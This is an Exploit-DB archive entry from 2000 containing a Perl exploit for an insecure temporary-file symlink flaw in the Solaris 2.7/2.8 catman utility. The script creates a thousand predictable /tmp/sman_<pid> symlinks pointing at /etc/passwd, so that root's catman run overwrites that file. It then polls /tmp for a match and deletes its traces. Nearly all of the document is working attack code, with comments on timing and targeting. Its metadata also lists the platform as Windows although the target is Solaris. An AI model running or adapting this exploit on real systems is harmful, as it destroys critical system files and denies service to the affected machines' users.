Solaris 2.7/2.8 Catman - Local Insecure tmp Symlink

EDB-ID:

233

Author:

Shane Hird

Type:

dos

Platform:

Windows

Published:

2000-12-19

#!/usr/local/bin/perl -w 
#
# The problem is catman creates files in /tmp insecurly.
# They are based on the PID of the catman process,
# catman will happily clobber any files that are
# symlinked to that file. The idea of this script is to
# create a block of symlinks to the target file with
# the current PID  as a starting point.  Depending on
# what load your system has this creates 1000 files in
# /tmp as sman_$currentpid + 1000.
#
# The drawback is you would have to know around when root
# would be executing catman. A better solution would be
# to monitor for the catman process and create the link
# before catman creates the file.  I think this is a
# really small window however. This worked on a patched
# Solaris 2.7 box (August 2000 patch cluster)
#
# SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1
# lwc@vapid.betteros.org   11/21/2000   Vapid Labs.
# http://vapid.betteros.org

$clobber = "/etc/passwd"; #file to clobber
$X=getpgrp();
$Xc=$X; #Constant
$Y=$X+1000;#Constant

while($X < $Y) {
  print "Linking /tmp/sman_$X to $clobber :"; 
  # Change $clobber to what you want to clobber.
  if (symlink ($clobber, "/tmp/sman_$X")) {
    print "Sucess\n";
  }
  else { print "failed, Busy system?\n";}
  $X=$X+1;
}

#watch /tmp and see if catman is executed in time.
while(1){
  $list = "/usr/bin/ls -l /tmp | grep sman|grep root |";
  open (list,$list) or "die cant open ls...\n";
  while(<list>) {
    @args = split "_",$_;
    chop ($args[1]);
    if ($args[1] >= $Xc && $args[1] <= $Y){
      print "Looks like pid $args[1] is the winner\n cleaning....\n"; 
      `/usr/bin/rm -f /tmp/sman*`;
      exit(1);
    }
  }
}


# milw0rm.com [2000-12-19]